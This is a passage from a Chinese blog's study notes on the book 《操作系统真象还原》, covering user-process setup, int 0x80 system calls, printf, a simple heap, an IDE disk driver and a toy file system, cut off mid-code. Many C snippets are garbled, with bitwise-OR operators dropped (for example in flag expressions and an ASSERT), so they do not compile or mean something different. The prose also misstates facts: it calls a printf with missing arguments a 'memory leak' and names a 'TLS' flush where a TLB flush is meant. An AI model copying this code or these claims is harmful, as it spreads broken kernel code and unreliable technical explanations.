proc_stack->edx = proc_stack->ecx = proc_stack->eax = 0;proc_stack->gs = 0; // 用户态用不上,直接初始为0proc_stack->ds = proc_stack->es = proc_stack->fs = SELECTOR_U_DATA;proc_stack->eip = function; // 待执行的用户程序地址proc_stack->cs = SELECTOR_U_CODE;proc_stack->eflags = (EFLAGS_IOPL_0 EFLAGS_MBS EFLAGS_IF_1);proc_stack->esp = (void*)((uint32_t)get_a_page(PF_USER, USER_STACK3_VADDR) + PG_SIZE) ;proc_stack->ss = SELECTOR_U_DATA;asm volatile ("movl %0, %%esp; jmp intr_exit" : : "g" (proc_stack) : "memory");}\n\n该函数将获取用户进程的intr_stack结构体,该结构体是在进入中断时用户储存返回信息的,现在只需要篡改这些返回信息,比如将eip初始化为我们的”文件”入口,也就是function,然后再返回到intr_exit就能像普通的中断一样正常退出了。\n然后是调度器在遇到本进程的时候会主动尝试激活进程/线程:调用process_activate\nvoid process_activate(struct task_struct* p_thread) { ASSERT(p_thread != NULL); page_dir_activate(p_thread); if (p_thread->pgdir) { /* 更新该进程的esp0,用于此进程被中断时保留上下文 */ update_tss_esp(p_thread); }}void page_dir_activate(struct task_struct* p_thread) { uint32_t pagedir_phy_addr = 0x100000; // 默认为内核的页目录物理地址,也就是内核线程所用的页目录表 if (p_thread->pgdir != NULL) { // 用户态进程有自己的页目录表 pagedir_phy_addr = addr_v2p((uint32_t)p_thread->pgdir); } asm volatile ("movl %0, %%cr3" : : "r" (pagedir_phy_addr) : "memory");}void update_tss_esp(struct task_struct* pthread) { tss.esp0 = (uint32_t*)((uint32_t)pthread + PG_SIZE);}\n\n其中page_dir_activate函数会将记录在PCB中的页表加载到CR3寄存器中。\n\n但上述过程有一个小细节,在不清楚代码全貌的情况下可能会产生一个困惑:\n\ncr3寄存器加载以后,为什么接下来的操作还能够进行,寻址不会出现问题吗?\n\n事实上确实如此,但在为用户进程建立页表的时候,为防止此问题出现做了些微操。代码实现如下:\nuint32_t* create_page_dir(void) { uint32_t* page_dir_vaddr = get_kernel_pages(1); if (page_dir_vaddr == NULL) { console_put_str("create_page_dir: get_kernel_page failed!"); return NULL; } memcpy((uint32_t*)((uint32_t)page_dir_vaddr + 0x300*4), (uint32_t*)(0xfffff000+0x300*4), 1024); uint32_t new_page_dir_phy_addr = addr_v2p((uint32_t)page_dir_vaddr); page_dir_vaddr[1023] = new_page_dir_phy_addr PG_US_U PG_RW_W PG_P_1; return page_dir_vaddr;}\n\nmemcpy函数将内核页表的768项及以后都拷贝到了用户页表中。相当于我们在用户的地址空间中嵌入了内核入口点,768正对应着0xc0000000,也就是一般规定的内核空间地址。\n所以即便加载了用户页表到cr3,也会因为其有着相同的页表内容而不会出现地址错位的情况。因为内核是一个进程,它也只有一个自己的页表,所以只要把自己的页表嵌入到其他进程里,所有的进程就都能够访问内核空间了(权限允许的情况下)。\n\n最后来梳理一下过程吧:\n\n首先为进程创建一个PCB,这个PCB里包含了进程运行的必要参数,同时还提供了进程R0权级下的栈空间。更新进程状态为就绪,并为其建立用户虚拟地址空create_user_vaddr_bitmap然后照常用thread_create将其初始化为线程(只做初始化操作)thread_create再为该进程建立页表create_page_dir最后将进程的PCB加入到调度就绪队列和总队列中即可。\n\n在调度器选中该进程时,将会因为thread_create时设置的eip为start_process转而执行该函数。最后在该函数中完成最后的操作:\n\n首先在其内核栈中布置iret时需要的寄存器数据。其中,因为esp将会是用户级的栈,所以另外为其开辟一页内存(get_a_page),然后在SS中赋予栈权级为R3最后将esp转到布置好的内核栈位置,然后跳转到intr_exit正常返回\n\n但不知道是本书作者的遗漏还是没注意到,总觉得start_process函数有些问题。\n该函数最后一行直接将esp切换到了用户内核栈,但是,应该如何恢复自己的esp呢?直接mov的操作不会导致自己的esp值丢失吗?\n这才发现之前中断中使用的switch_to函数:\nswitch_to:push esipush edipush ebxpush ebpmov eax, [esp + 20] ; 得到栈中的参数cur, cur = [esp+20]mov [eax], esp ; 保存栈顶指针esp. task_struct的self_kstack字段,mov eax, [esp + 24] ; 得到栈中的参数next, next = [esp+24]mov esp, [eax] ; pcb的第一个成员是self_kstack成员,用来记录0级栈顶指针,pop ebppop ebxpop edipop esiret ; 返回到上面switch_to下面的那句注释的返回地址,; 未由中断进入,第一次执行时会返回到kernel_thread\n\n在执行start_process函数之前,会先把当前esp保存到PCB中,然后再进行切换。\n之后,在start_process函数中所做的“遗弃”似的操作就成了无关紧要的事情了。\n保存当前esp以后,esp已经切换为了用户进程的内核栈,然后在start_process中进行任何操作对esp有任何影响都无关紧要了,因为这里面的数据从此以后都不再需要了。之后需要用到内核栈的时候从TSS里加载即可。\n另外还有这么一个事实:\n\n用户进程毕竟是用户态的程序,它大多的事情应该是在用户态中进行的。那么从R3到R0再到R3的过程以后,R0级的栈里应该仍然是空的,因为所有编译器都会保证push和pop的数量相等,相当于从R3通过call进到R0一样,回来的时候同样会把R0的栈中数据释放。所以每次加载TSS的ESP都会有相同的结果,即栈底。\n\n(不过就我个人来说,对这个事实还是有点难以释然,但这毕竟是说得通的,如果以后有更好的答案了再来补充吧)\n插画ID:74657806\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter12 笔记与思考","url":"/2022/02/11/systemkernel-chapter12/","content":"本章内容只有一个:系统调用\n实现的调用包括:sys_malloc、sys_free、sys_write、sys_getpid\n前言可惜的是,本书本章使用的是目前Linux已经弃用的_syscallX方式。在原版的Linux中,这种方式最多只支持6个参数,限制诸多且据本书作者说还存在安全问题(不过我查了一圈不知道具体是指什么样的安全事件)。目前记笔记时姑且这样继续,事后自己尝试的时候再试试能不能实现更加现代化一点的操作。\n另外本书这节也实现了malloc和free,但其实现方式和我一直以来认知的堆管理似乎有很大的差别……考虑到实际的工程量问题,事后再尝试能否也做一些现代化的改造吧,当下先以笔记优先,姑且认同其实现方式。\n系统调用仿造Linux的操作,只使用软中断0x80来实现系统调用,过程如下:\n维护一张系统调用表syscall_table,该表用于储存每个系统调用函数的地址在IDT中注册0x80中断号对应的处理程序(称之为syscall_handler)\nmake_idt_desc(&idt[0x80], IDT_DESC_ATTR_DPL3, syscall_handler);\n\n该处理函数根据中断调用号在系统调用表中寻址对应函数,这些函数是sys_funcname族函数,属于具体的实现函数例如调用常规的getpid函数将引发如下操作:\n\n调用_syscall0函数传入getpid的调用号\n在_syscall0中向内核通过eax传参(即调用号),然后触发0x80中断\n中断调用处理函数syscall_handler通过调用号在调用表中寻址得到对应的函数(sys_getpid),该函数负责具体操作并返回结果\n\n注:pid是加在task_struct也就是PCB中的\n其实也没什么,单纯就是在触发中断以后进入处理函数,此时已经陷入内核,属于R0权级了,所有操作都能够正常进行了。特地为用户加一个进入内核方法罢了,只是所有方法的操作都被限制在固定范围。\nsyscall_handler: push 0 push ds push es push fs push gs pushad ; PUSHAD指令压入32位寄存器,其入栈顺序是: ; EAX,ECX,EDX,EBX,ESP,EBP,ESI,EDI push 0x80 ; 此位置压入0x80也是为了保持统一的栈格式 ;2 为系统调用子功能传入参数 push edx ; 系统调用中第3个参数 push ecx ; 系统调用中第2个参数 push ebx ; 系统调用中第1个参数 call [syscall_table + eax*4] ; 编译器会在栈中根据C函数声明匹配正确数量的参数 add esp, 12 ; 跨过上面的三个参数 ;4 将call调用后的返回值存入待当前内核栈中eax的位置 mov [esp + 8*4], eax jmp intr_exit ; intr_exit返回,恢复上下文\n\nprintf和变长参数uint32_t printf(const char* format, ...) { va_list args; va_start(args, format); // 使args指向format char buf[1024] = {0}; // 用于存储拼接后的字符串 vsprintf(buf, format, args); va_end(args); return write(buf);}\n\nprintf中通过vsprintf将输入的参数和format适配并转换成新的字符串通过write函数输出\n变长参数的实现主要是出于c调用规则规定由调用者清理参数,所以调用printf函数push多少参数入栈,事后也要自己清理这些堆栈,所以不用担心这些参数淤积在栈里。\n所以需要关心的问题是,如何准确的适配所有参数?答案是提供了参数模板,也就是这里的格式化字符串。\nformat中提供占位符来识别参数数量,有多少占位符就会用多少个参数,多的参数不会被用到,也不会留在栈里。至于少参数的情况……似乎没有高效的解决办法,即便现在2022年了,直接在C语言里直接这样写也会导致内存泄露:\nint* p=0;printf("%p\\n%p", p);\n\n(当然,真要解决也不是没办法,只是需要付出更多的开销)\n至于vsprintf函数则只需要根据format来识别函数就行了:\nuint32_t vsprintf(char* str, const char* format, va_list ap) { char* buf_ptr = str; const char* index_ptr = format; char index_char = *index_ptr; int32_t arg_int; char* arg_str; while(index_char) { if (index_char != '%') { *(buf_ptr++) = index_char; index_char = *(++index_ptr); continue; } index_char = *(++index_ptr); // 得到%后面的字符 switch(index_char) { case 's': arg_str = va_arg(ap, char*); strcpy(buf_ptr, arg_str); buf_ptr += strlen(arg_str); index_char = *(++index_ptr); break; case 'c': *(buf_ptr++) = va_arg(ap, char); index_char = *(++index_ptr); break; case 'd': arg_int = va_arg(ap, int); /* 若是负数, 将其转为正数后,再正数前面输出个负号'-'. */ if (arg_int < 0) { arg_int = 0 - arg_int; *buf_ptr++ = '-'; } itoa(arg_int, &buf_ptr, 10); index_char = *(++index_ptr); break; case 'x': arg_int = va_arg(ap, int); itoa(arg_int, &buf_ptr, 16); index_char = *(++index_ptr); // 跳过格式字符并更新index_char break; } } return strlen(str);}\n\n对于常规字符直接拷贝即可,遇到‘%’时根据下一个字符决定拷贝内容。\n堆管理首先简述一下本书所实现的堆管理逻辑吧:\nsys_malloc:\n\n在每个任务的PCB中加入一个arena数组用于管理不同大小的chunk(其实就是GLIBC实现的Bins结构的简化版)\n初始化时将每个Bin中的free_list清空,然后初始化该Bin中能够存放的chunk数\n然后在用户实际调用malloc时,根据其所需要开辟的size选择对应的arena,然后从内核分配一个内存页,将该页按照该arena所管理的size切割成一块块chunk然后全都挂到其free_list里,最后从该链表里取出一块chunk分配给用户\n\nsys_free:\n\n对于一些小的需求,将该chunk重新挂回free_list即可\n对于需要返还内存页的情况,将用户虚拟地址位图中对应位置0,然后将自己PTE中对应的页的P位置0表示其不在内存中\n最后把物理内存池的位图中对应内存页的flag置0,表示该页可用\n另外还需要刷新TLS(用于缓存页表的硬件设备)\n\n逻辑和GLIBC有点像,不过是精简版的,个人认为这种方式虽然可行,但效率并没有GLIBC那样高。\n最后,为用户提供malloc和free函数,两个函数调用sys_malloc和sys_free就算完成了。\n嘛,如果到时候有机会的话可以试着实现一个看看,不过目前先就这样放着吧。本书最终的操作系统毕竟只是一个用于理解原理的精简版,所以知道真是情况以后还是省察着看吧。\n\n插画ID:90781328\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter13 笔记与整理","url":"/2022/02/11/systemkernel-chapter13/","content":"\n不太好用比较好看的格式来说明这章的内容,就我个人的感受来说,主要是科普了一下计算机和硬盘是如何交互的,顺便对外部设备的驱动编写有了一点比较模糊的认识。\n名次解释首先是关于硬盘的几个名词解释:\n\n盘面:磁盘上的任何一面都能称之为盘面\n柱面:将多个磁盘叠在一起,相同磁道号构成的圆柱面\n磁头:用于读写磁盘的设备,一个磁盘上下两面各有一个\n磁道:任何一个磁盘上用于储存数据的带磁同心圆\n分区:认为界定一个磁盘各个区域的名词\n扇区:标准扇区512字节,每个磁道由多个扇区构成\n\n反正具体的样貌大概都能搜出来,名次解释并没有太大意义,这里写出来是为了让文章看起来比较舒服。\n另外还需要记录一点,有关磁盘储存数据的方式:\n\n每个主盘的第一个磁道用于存放MBR,而MBR只占用一个扇区,多余扇区往往不使用。一个磁道一般63个扇区(过去是这样,现在更多更大了,但出于向前兼容的缘故,应该认为每个磁道的扇区数相同)\n第一个扇区除了MBR外还需要存放64字节的分区表,分区表记录整块磁盘的分区数据\n\n不过现代硬盘为了支持更多的分区(早期只支持4个主分区),引申出了逻辑分区的概念。将硬盘分为3个主分区和一个逻辑分区。\n逻辑分区是理论上可以无限被分割的分区,它为从自身再分配出去的每个分区单独赋予一张分区表,每张分区表通过隐式链接的方法可以追溯到下一个分区。\n每个分区的第一个磁道都是引导记录,只是第一个分区的叫做MBR(Main Boot Record),其他的都叫做EBR(Extended Boot Record)。而每个分区的第二个磁道开始还放了一个OBR(OS Boot Record)。EBR和MBR是完全一样的结构,只是在名字上做了区别;而OBR则不同于MBR,它就是普通的存放在磁道上的数据而已,用于完成操作系统的自举。\n分区表条目如下:\nstruct partition_table_entry { uint8_t bootable; // 是否可引导 uint8_t start_head; // 起始磁头号 uint8_t start_sec; // 起始扇区号 uint8_t start_chs; // 起始柱面号 uint8_t fs_type; // 分区类型 uint8_t end_head; // 结束磁头号 uint8_t end_sec; // 结束扇区号 uint8_t end_chs; // 结束柱面号 uint32_t start_lba; // 本分区起始扇区的lba地址 uint32_t sec_cnt; // 本分区的扇区数目} __attribute__ ((packed)); // 保证此结构是16字节大小\n\n主要通过start_lba+sec_cnt*512来实现下一个分区的寻址,所以叫隐式链接。\n本书有一张非常形象的图用以解释这个方法,不过因为我懒得拍一张下来,有兴趣的师傅可以去翻翻看,P577-图13-23。\nIDE通道实现操作系统和硬盘的交互主要是走IDE(Integrated Drive Electronics)通道,个人目前对IDE的认知是一套由操作系统实现的驱动接口。所以实现硬盘驱动就是在写IDE。\n不过作者在本章才实现thread_yield,让这章的结构看起来有些混乱(虽然这似乎看起来是顺理成章的事情),所以关于thread_yield和idle的内容会放在本片笔记的结尾。\n首先是关于操作系统如何与硬盘进行交互的内容:\n\nBIOS在启动之初就会像磁盘写入一系列数据,其中硬盘数量被写在0x475地址处\n和之前的8259A芯片等设备相同,硬盘也提供了一些寄存器用以让操作系统向其发送指令,包括IDENTIFY、READ_SECTOR、WRITE_SECTOR三个指令。\n操作系统向对应的寄存器中写入硬盘编号、起始偏移、所需扇区数后,待硬盘完成对应的寻址和返回操作以后,便能够从固定的端口读出硬盘数据\n另外IDENTIFY指令发送后,硬盘会返回一系列有关硬盘本身的信息,可以用它们来构建整个硬盘的分区结构\n硬盘也分主盘和从盘,在发送指令的时候需要指定发送的目标硬盘。当硬盘完成任务以后会触发8259A芯片上的IRQ14和IRQ15中断响应处理器\n\n更加具体的操作直接看代码和注释吧。\ninit_ide:\n/* 硬盘数据结构初始化 */void ide_init() { uint8_t hd_cnt = *((uint8_t*)(0x475));// 获取硬盘的数量 list_init(&partition_list); channel_cnt = DIV_ROUND_UP(hd_cnt, 2); // 一个ide通道上有两个硬盘,根据硬盘数量反推有几个ide通道 struct ide_channel* channel; uint8_t channel_no = 0, dev_no = 0; /* 处理每个通道上的硬盘 */ while (channel_no < channel_cnt) { channel = &channels[channel_no]; sprintf(channel->name, "ide%d", channel_no); /* 为每个ide通道初始化端口基址及中断向量 */ switch (channel_no) { case 0: channel->port_base = 0x1f0; // ide0通道的起始端口号是0x1f0 channel->irq_no = 0x20 + 14; // 从片8259a上倒数第二的中断引脚,温盘,也就是ide0通道的的中断向量号 break; case 1: channel->port_base = 0x170; // ide1通道的起始端口号是0x170 channel->irq_no = 0x20 + 15; // 从8259A上的最后一个中断引脚,我们用来响应ide1通道上的硬盘中断 break; } channel->expecting_intr = false; // 未向硬盘写入指令时不期待硬盘的中断 lock_init(&channel->lock); /* 初始化为0,目的是向硬盘控制器请求数据后,硬盘驱动sema_down此信号量会阻塞线程, 直到硬盘完成后通过发中断,由中断处理程序将此信号量sema_up,唤醒线程. */ sema_init(&channel->disk_done, 0); register_handler(channel->irq_no, intr_hd_handler); /* 分别获取两个硬盘的参数及分区信息 */ while (dev_no < 2) { struct disk* hd = &channel->devices[dev_no]; hd->my_channel = channel; hd->dev_no = dev_no; sprintf(hd->name, "sd%c", 'a' + channel_no * 2 + dev_no); identify_disk(hd); // 获取硬盘参数 if (dev_no != 0) { // 内核本身的裸硬盘(hd60M.img)不处理 partition_scan(hd, 0); // 扫描该硬盘上的分区 } p_no = 0, l_no = 0; dev_no++; } dev_no = 0; // 将硬盘驱动器号置0,为下一个channel的两个硬盘初始化。 channel_no++; // 下一个channel } printk("\\n all partition info\\n"); /* 打印所有分区信息 */ list_traversal(&partition_list, partition_info, (int)NULL); printk("ide_init done\\n");}\n\n过程并不复杂,根据注释大概就能理解过程了,细节参考一下本书代码中的结构体和讲解应该不难理解。\n该函数主要是完成两个ide通道的初始化,让之后读取能够顺利进行:\n/* ata通道结构 */struct ide_channel { char name[8]; // 本ata通道名称, 如ata0,也被叫做ide0. 可以参考bochs配置文件中关于硬盘的配置。 uint16_t port_base; // 本通道的起始端口号 uint8_t irq_no; // 本通道所用的中断号 struct lock lock; bool expecting_intr; // 向硬盘发完命令后等待来自硬盘的中断 struct semaphore disk_done; // 硬盘处理完成.线程用这个信号量来阻塞自己,由硬盘完成后产生的中断将线程唤醒 struct disk devices[2]; // 一个通道上连接两个硬盘,一主一从};\n\nidentify_disk就是发送identify指令并获取硬盘信息,而partition_scan负责扫描该磁盘,并向hd中填入数据(换个说法吧,partition_scan会开始扫描磁盘,通过磁盘里每个MBR和EBR的分区表来初始化hd指针指向的结构体)。\nselect_disk:\nstatic void select_disk(struct disk* hd) { uint8_t reg_device = BIT_DEV_MBS BIT_DEV_LBA; if (hd->dev_no == 1) { // 若是从盘就置DEV位为1 reg_device = BIT_DEV_DEV; } outb(reg_dev(hd->my_channel), reg_device);}\n\n写入硬盘寄存器,表示需要访问对应的磁盘\nstatic void select_sector(struct disk* hd, uint32_t lba, uint8_t sec_cnt) { struct ide_channel* channel = hd->my_channel; outb(reg_sect_cnt(channel), sec_cnt); // 如果sec_cnt为0,则表示写入256个扇区 outb(reg_lba_l(channel), lba); // lba地址的低8位,不用单独取出低8位.outb函数中的汇编指令outb %b0, %w1会只用al。 outb(reg_lba_m(channel), lba >> 8); // lba地址的8~15位 outb(reg_lba_h(channel), lba >> 16); // lba地址的16~23位 /* 因为lba地址的24~27位要存储在device寄存器的0~3位, * 无法单独写入这4位,所以在此处把device寄存器再重新写入一次*/ outb(reg_dev(channel), BIT_DEV_MBS BIT_DEV_LBA (hd->dev_no == 1 ? BIT_DEV_DEV : 0) lba >> 24);}\n\n同理,将需要写的扇区起始地址和需要访问的扇区数写入对应的寄存器。\n完成之后,再向硬盘发送read指令然后挂起进程陷入沉睡,等待硬盘响应(发起中断)后,告诉硬盘可以继续发出中断后,从固定端口读写数据即可。\n中断处理函数:\nvoid intr_hd_handler(uint8_t irq_no) { ASSERT(irq_no == 0x2e irq_no == 0x2f); uint8_t ch_no = irq_no - 0x2e; struct ide_channel* channel = &channels[ch_no]; ASSERT(channel->irq_no == irq_no);/* 不必担心此中断是否对应的是这一次的expecting_intr, * 每次读写硬盘时会申请锁,从而保证了同步一致性 */ if (channel->expecting_intr) { channel->expecting_intr = false; sema_up(&channel->disk_done);/* 读取状态寄存器使硬盘控制器认为此次的中断已被处理, * 从而硬盘可以继续执行新的读写 */ inb(reg_status(channel)); }}\n\n线程调度最后是有关线程调度的新内容,首先是主动挂起:\nvoid thread_yield(void) { struct task_struct* cur = running_thread(); enum intr_status old_status = intr_disable(); ASSERT(!elem_find(&thread_ready_list, &cur->general_tag)); list_append(&thread_ready_list, &cur->general_tag); cur->status = TASK_READY; schedule(); intr_set_status(old_status);}\n\n就是简单的把自己设为ready状态并挂进等待队列而已。\n另外一个是在调度队列中没有可调度的线程时,让调度器不至于出错而设定的线程:\n/* 系统空闲时运行的线程 */static void idle(void* arg UNUSED) { while(1) { thread_block(TASK_BLOCKED); //执行hlt时必须要保证目前处在开中断的情况下 asm volatile ("sti; hlt" : : : "memory"); }}\n\nhlt指令是让处理器停止运行,直到遇到中断为止。\n初始化时会主动创建该线程并将其阻塞。当调度器在调度队列中找不到可调度的线程时,会主动唤醒该线程,该线程会手动阻塞自己并等待下一次中断发生。\n\n插画ID:91443649\n","categories":["Note","操作系统"],"tags":["kernel","操作系统"]},{"title":"《操作系统真象还原》chapter14/文件系统与遗憾","url":"/2022/03/06/systemkernel-chapter14/","content":"写在前面本章没能看完,有些可惜。主要是因为寒假结束,没有那种能够安静看书的时间了,所以最后两章我的阅读效率下降的很快;另外还是因为本书已经快要看完了,心态有点浮躁,实在不适合继续看下去了,于是本章笔记只对本章前半部分做了相对详细的笔记,但后半部分笔者没能读下去,所以肯定是不足的。\n以后若有时间的话,希望能把这本书完整读完吧。\n勘误本书P600页存在一个表述错误,特此摘出:\n\n“它被固定储存在各分区的第2个扇区,通常在占用一个扇区的大小。”\n\n此处“它”是指超级块。\n该表述不够严谨,在上一章中我们曾留意到:\n\n对于主分区,其开始的第一个磁道会被OBR占用,而OBR的大小不一定只占用一个扇区。在EXT4文件系统中,该OBR会占用两个扇区,所以该文件系统中的超级块存在于1024偏移处,也就是从第三个扇区开始\n对于总拓展分区,每个子拓展分区的开始是EBR,EBR和MBR是同构的。子拓展分区里的每个逻辑分区就相当于主分区,它们也都在相似的地方存在OBR,在EXT4文件系统中,超级块也都在1024偏移处\n\n综上,超级块的具体位置应该是和文件组织结构本身有关的,EXT4和FAT32等等各不相同的结构有各不相同的结果,本书在这方面没有表述清楚(注:从EXT2开始,引导块就占两个扇区1Kb大小了,至于FAT32是不是这样,笔者并没有查过)。\n不过本书的实现中,接下来会默认引导块只占用一个扇区,超级块从第二个扇区开始。\nhttps://akaedu.github.io/book/ch29s02.html\n前言本章虽然实现了一个简易的文件系统,不过它并没有实用性,只能用作理解掌握文件系统根本原理。最终完成格式化的硬盘并没有泛用性,属于是专属于该操作系统的硬盘了(当然,我没有说这样做不好,倒不如说这样做帮大忙了。所以只是提个醒,不要以本章实现的文件系统为准,只需要理解其原理即可)。\n文件系统总结一下文件系统的几个要点吧:\n\n操作系统为整个文件系统提供了inode结构体,每个文件对应一个inode。该结构体标识了文件属性和文件数据指针等内容。\n操作系统为所有文件维护了一个inode数组,访问文件的具体数据通过inode编号的下表直接寻址\n同时,对于任何一个文件,操作系统为其确定固定的结构体条目,该结构体中包含了文件名、文件大小、文件类型、inode编号等\n对于“目录文件”类型,这类文件的inode文件的数据指针处存放的是目录下其他文件的文件结构条目\n所有的文件都会被挂载在根目录下\n\n然后是操作系统的文件访问逻辑:假定目前文件系统已经完全初始化完成了\n\n首先由用户提供文件名\n操作系统根据该文件从根目录开始递归查询\n首先会访问根目录的数据区,该数据区存放了根目录下其他文件的结构条目,对比每个条目中的文件名和请求文件名\n若存在该文件,那么直接从条目中获取inode编号,通过inode编号得到文件对于数据区的指针\n若不存在该文件,则通过该目录下其他“目录类型”的文件继续递归查找,直到全目录搜索完毕或找到同名文件为止\n\n当然,上面描述的寻址有些简单粗暴,因为我们一般都会界定寻址的范围和开始的目录,很少从根目录就开始查询。并且,一般的系统都支持在不同的目录下运行同名文件出现,并且我们往往只在一层目录中寻找文件。\n不过概念上有些不同的是,现在我们通常描述的“文件名”其实是包括了父目录以后的文件名,比如“C:/file.txt”;而本书中所说的文件名就是单独所指的文件名,比如“file.txt”。前者属于更高级一点的概念,还是要做一点区分的。\n上述的两个结构体如下:有一定删减\n//文件结构条目(有删减)struct dir_entry { char filename[MAX_FILE_NAME_LEN]; // 普通文件或目录名称 uint32_t i_no; // 普通文件或目录对应的inode编号 enum file_types f_type; // 文件类型};\n\n/* inode结构 */struct inode { uint32_t i_no; // inode编号/* 当此inode是文件时,i_size是指文件大小,若此inode是目录,i_size是指该目录下所有目录项大小之和*/ uint32_t i_size; uint32_t i_open_cnts; // 记录此文件被打开的次数 bool write_deny; // 写文件不能并行,进程写文件前检查此标识/* i_sectors[0-11]是直接块, i_sectors[12]用来存储一级间接块指针 */ uint32_t i_sectors[13]; struct list_elem inode_tag;};\n\n其中,i_sectors指针是针对文件较大需要分散存放的文件设计的。硬盘的储存单位是“块”,对于一个块存放不下的文件,会指定其他块进行存放,为了寻址其他块,在inode结构体中通过一系列数组来记录每个块的指针。\n然后就是构建文件系统了。格式化硬盘的函数就在本段下面,不过在看之前还是先听笔者唠叨几句吧。\n一般来讲,我们现在装Linux都是先把硬盘(当然一般是U盘)格式化以后,写入操作系统镜像的。这个格式化其实就是在为硬盘创建文件系统。本书也说明了,现代的操作系统一般是先格式化硬盘,然后再初始化操作系统自己的,所以笔者认为,本来的话,文件系统是不需要操作系统的范畴的,因为操作系统不负责文件系统的构建,那是在制作启动盘的时候就完成的事情。\n本章的作者是自己去创建文件系统,而不是通过工具生成一块具有泛用性的磁盘文件,而是自己去仿造了一个类似的文件系统。虽然略感可惜,但对于笔者这样的初学者来说确实是帮大忙了。唠叨就到这里,下面是格式化函数:\n/* 格式化分区,也就是初始化分区的元信息,创建文件系统 */static void partition_format(struct partition* part) {/* 为方便实现,一个块大小是一扇区 */ uint32_t boot_sector_sects = 1; uint32_t super_block_sects = 1; uint32_t inode_bitmap_sects = DIV_ROUND_UP(MAX_FILES_PER_PART, BITS_PER_SECTOR); // I结点位图占用的扇区数.最多支持4096个文件 uint32_t inode_table_sects = DIV_ROUND_UP(((sizeof(struct inode) * MAX_FILES_PER_PART)), SECTOR_SIZE); uint32_t used_sects = boot_sector_sects + super_block_sects + inode_bitmap_sects + inode_table_sects; uint32_t free_sects = part->sec_cnt - used_sects; /************** 简单处理块位图占据的扇区数 ***************/ uint32_t block_bitmap_sects; block_bitmap_sects = DIV_ROUND_UP(free_sects, BITS_PER_SECTOR); /* block_bitmap_bit_len是位图中位的长度,也是可用块的数量 */ uint32_t block_bitmap_bit_len = free_sects - block_bitmap_sects; block_bitmap_sects = DIV_ROUND_UP(block_bitmap_bit_len, BITS_PER_SECTOR); /*********************************************************/ /* 超级块初始化 */ struct super_block sb; sb.magic = 0x19590318; sb.sec_cnt = part->sec_cnt; sb.inode_cnt = MAX_FILES_PER_PART; sb.part_lba_base = part->start_lba; sb.block_bitmap_lba = sb.part_lba_base + 2; // 第0块是引导块,第1块是超级块 sb.block_bitmap_sects = block_bitmap_sects; sb.inode_bitmap_lba = sb.block_bitmap_lba + sb.block_bitmap_sects; sb.inode_bitmap_sects = inode_bitmap_sects; sb.inode_table_lba = sb.inode_bitmap_lba + sb.inode_bitmap_sects; sb.inode_table_sects = inode_table_sects; sb.data_start_lba = sb.inode_table_lba + sb.inode_table_sects; sb.root_inode_no = 0; sb.dir_entry_size = sizeof(struct dir_entry); printk("%s info:\\n", part->name); printk(" magic:0x%x\\n part_lba_base:0x%x\\n all_sectors:0x%x\\n inode_cnt:0x%x\\n block_bitmap_lba:0x%x\\n block_bitmap_sectors:0x%x\\n inode_bitmap_lba:0x%x\\n inode_bitmap_sectors:0x%x\\n inode_table_lba:0x%x\\n inode_table_sectors:0x%x\\n data_start_lba:0x%x\\n", sb.magic, sb.part_lba_base, sb.sec_cnt, sb.inode_cnt, sb.block_bitmap_lba, sb.block_bitmap_sects, sb.inode_bitmap_lba, sb.inode_bitmap_sects, sb.inode_table_lba, sb.inode_table_sects, sb.data_start_lba); struct disk* hd = part->my_disk;/******************************* * 1 将超级块写入本分区的1扇区 * ******************************/ ide_write(hd, part->start_lba + 1, &sb, 1); printk(" super_block_lba:0x%x\\n", part->start_lba + 1);/* 找出数据量最大的元信息,用其尺寸做存储缓冲区*/ uint32_t buf_size = (sb.block_bitmap_sects >= sb.inode_bitmap_sects ? sb.block_bitmap_sects : sb.inode_bitmap_sects); buf_size = (buf_size >= sb.inode_table_sects ? buf_size : sb.inode_table_sects) * SECTOR_SIZE; uint8_t* buf = (uint8_t*)sys_malloc(buf_size); // 申请的内存由内存管理系统清0后返回/************************************** * 2 将块位图初始化并写入sb.block_bitmap_lba * *************************************/ /* 初始化块位图block_bitmap */ buf[0] = 0x01; // 第0个块预留给根目录,位图中先占位 uint32_t block_bitmap_last_byte = block_bitmap_bit_len / 8; uint8_t block_bitmap_last_bit = block_bitmap_bit_len % 8; uint32_t last_size = SECTOR_SIZE - (block_bitmap_last_byte % SECTOR_SIZE); // last_size是位图所在最后一个扇区中,不足一扇区的其余部分 /* 1 先将位图最后一字节到其所在的扇区的结束全置为1,即超出实际块数的部分直接置为已占用*/ memset(&buf[block_bitmap_last_byte], 0xff, last_size); /* 2 再将上一步中覆盖的最后一字节内的有效位重新置0 */ uint8_t bit_idx = 0; while (bit_idx <= block_bitmap_last_bit) { buf[block_bitmap_last_byte] &= ~(1 << bit_idx++); } ide_write(hd, sb.block_bitmap_lba, buf, sb.block_bitmap_sects);/*************************************** * 3 将inode位图初始化并写入sb.inode_bitmap_lba * ***************************************/ /* 先清空缓冲区*/ memset(buf, 0, buf_size); buf[0] = 0x1; // 第0个inode分给了根目录 /* 由于inode_table中共4096个inode,位图inode_bitmap正好占用1扇区, * 即inode_bitmap_sects等于1, 所以位图中的位全都代表inode_table中的inode, * 无须再像block_bitmap那样单独处理最后一扇区的剩余部分, * inode_bitmap所在的扇区中没有多余的无效位 */ ide_write(hd, sb.inode_bitmap_lba, buf, sb.inode_bitmap_sects);/*************************************** * 4 将inode数组初始化并写入sb.inode_table_lba * ***************************************/ /* 准备写inode_table中的第0项,即根目录所在的inode */ memset(buf, 0, buf_size); // 先清空缓冲区buf struct inode* i = (struct inode*)buf; i->i_size = sb.dir_entry_size * 2; // .和.. i->i_no = 0; // 根目录占inode数组中第0个inode i->i_sectors[0] = sb.data_start_lba; // 由于上面的memset,i_sectors数组的其它元素都初始化为0 ide_write(hd, sb.inode_table_lba, buf, sb.inode_table_sects);/*************************************** * 5 将根目录初始化并写入sb.data_start_lba ***************************************/ /* 写入根目录的两个目录项.和.. */ memset(buf, 0, buf_size); struct dir_entry* p_de = (struct dir_entry*)buf; /* 初始化当前目录"." */ memcpy(p_de->filename, ".", 1); p_de->i_no = 0; p_de->f_type = FT_DIRECTORY; p_de++; /* 初始化当前目录父目录".." */ memcpy(p_de->filename, "..", 2); p_de->i_no = 0; // 根目录的父目录依然是根目录自己 p_de->f_type = FT_DIRECTORY; /* sb.data_start_lba已经分配给了根目录,里面是根目录的目录项 */ ide_write(hd, sb.data_start_lba, buf, 1); printk(" 